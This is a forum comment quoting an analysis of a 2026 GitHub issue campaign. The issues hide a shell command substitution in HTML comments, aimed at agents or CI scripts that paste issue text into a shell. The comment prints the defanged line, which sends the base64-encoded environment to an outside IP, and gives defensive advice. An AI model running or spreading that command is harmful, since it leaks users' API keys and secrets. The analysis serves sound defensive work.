Article doesn't link to any specific details but I went looking at some of the named repos and found one with the malicious issue still up. Someone (pretty sure it's someone's LLM, actually) wrote an explanation in a comment, too. It claims to have found 144 instances of this attack in total, more than this article states.
CW LLM writing style
This is not a bug report. The body carries a shell command substitution inside an HTML comment, so it does not render on the issue page. You only see it in the raw markdown.
Here it is defanged. I removed a
$before each opening parenthesis and broke the scheme, so this block cannot run if someone copies it:( curl -s hxxp://54.205.16.142:8443/c/0a57dfc92e0a9e36ee8cbea10d3a5d55 -d ( env | base64 | tr -d '\n' ) )In a shell, the inner substitution expands the whole environment and base64 encodes it. The outer one POSTs that string to the host. The target is an agent or a script that pastes issue text into a shell. Every variable in the environment leaves in one request, API keys included.
This is not aimed at agno alone. A GitHub search for
54.205.16.142returns 144 issues, 89 of them still open. All were filed on 2026-09-01 across unrelated repositories, among them github/docs, github/copilot-sdk, dotnet/runtime, apache/druid, cockroachdb/cockroach, brave/brave-browser, huggingface/diffusers, aquasecurity/trivy and kubeflow/pipelines. The first 100 results come from 93 separate accounts with no history, and the titles rotate through six fixed templates. Each issue carries its own 32 character hex path, so the operator can tell which repository a callback came from.One detail worth checking on your side: some variants put the same string in the issue TITLE, not the body. A filter that reads only the body will miss those.
Two requests. Delete this issue rather than close it, because the body of a closed issue is still readable. Then report the account through the GitHub abuse form.
The prose here says nothing on its own. It names no version, no code and no reproduction. It exists to carry the comment.
TL;DR it's a bit of script that'll post the executing shell's env output to a remote IP. I guess the idea is a custom CI pipeline that runs on issue creation mightn't properly sanitise its inputs.
